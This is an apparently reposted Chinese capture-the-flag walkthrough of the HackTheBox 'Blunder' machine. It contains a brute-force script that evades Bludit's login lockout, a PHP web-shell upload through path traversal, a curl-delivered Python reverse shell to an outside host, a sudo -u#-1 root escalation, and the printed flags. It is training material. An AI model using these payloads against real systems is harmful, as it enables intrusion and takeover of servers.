您的位置:首页 > 文旅 > 旅游 > [Meachines] [Easy] Blunder Bludit-CMS-Upload+SUDO-Bypass权限提升

[Meachines] [Easy] Blunder Bludit-CMS-Upload+SUDO-Bypass权限提升

2024/12/27 17:31:36 来源:https://blog.csdn.net/qq_51886509/article/details/140758877  浏览:    关键词:[Meachines] [Easy] Blunder Bludit-CMS-Upload+SUDO-Bypass权限提升

信息收集

IP AddressOpening Ports
10.10.10.191TCP:80

$ nmap -p- 10.10.10.191 --min-rate 1000 -sC -sV

80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-title: Blunder | A blunder of interesting facts
|_http-server-header: Apache/2.4.41 (Ubuntu)

www-data 权限

image.png

$ gobuster dir -u "http://10.10.10.191/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php -b 404,403 -t 50

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

http://10.10.10.191/todo.txt

image-2.png

username:fergus

$ cewl 10.10.10.191 > pass.txt

#!/usr/bin/env python3
import re
import requestshost = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
wordlist = []with open('pass.txt', 'r') as words:for line in words:line = line.rstrip()wordlist.append(line)for password in wordlist:session = requests.Session()login_page = session.get(login_url)csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)print('[*] Trying: {p}'.format(p=password))headers = {'X-Forwarded-For': password,'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36','Referer': login_url}data = {'tokenCSRF': csrf_token,'username': username,'password': password,'save': ''}login_result = session.post(login_url, headers=headers, data=data, allow_redirects=False)if 'location' in login_result.headers:if '/admin/dashboard' in login_result.headers['location']:print()print('SUCCESS: Password found!')print('Use {u}:{p} to login.'.format(u=username, p=password))print()break

$ python3 exp.py

image-3.png

Password:RolandDeschain

image-4.png

https://github.com/bludit/bludit/issues/1081

image-5.png

image-6.png

POST /admin/ajax/upload-images HTTP/1.1
Host: 10.10.10.191
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------423763520129402281753554177338
Content-Length: 173373
Origin: http://10.10.10.191
Connection: close
Referer: http://10.10.10.191/admin/new-content
Cookie: BLUDIT-KEY=7vn276oblmdb0l4kt4n3sltkl5-----------------------------423763520129402281753554177338
Content-Disposition: form-data; name="images[]"; filename="TEAM.php"
Content-Type: image/png<?=phpinfo();system($_GET[0]);?>
-----------------------------423763520129402281753554177338Content-Disposition: form-data; name="uuid"../../tmp
-----------------------------423763520129402281753554177338
Content-Disposition: form-data; name="tokenCSRF"96062fa2efef00e52320951d57034af3a4f480f4
-----------------------------423763520129402281753554177338--

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

$ curl "http://10.10.10.191/bl-content/tmp/TEAM.php?0=python%20-c%20'import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.16.6%22%2C10032))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bimport%20pty%3B%20pty.spawn(%22%2Fbin%2Fsh%22)'"

image-9.png

User 权限

$ cat /var/www/bludit-3.10.0a/bl-content/databases/users.php

image-10.png

username:hugo
hash:faca404fd5c0a31cf1897b823c695c85cffeb98d

https://md5decrypt.net/en/Sha1/

!外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

password:Password120

image-12.png

User.txt

$ cat /home/hugo/user.txt

cb37fd3c2e81e209769763b3fd001348

权限提升

image-13.png

$ sudo --version

image-15.png

image-14.png

$ sudo -u#-1 /bin/bash

image-16.png

Root.txt

# cat /root/root.txt

d10d349c006d7beb3e00cf067fba123d

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com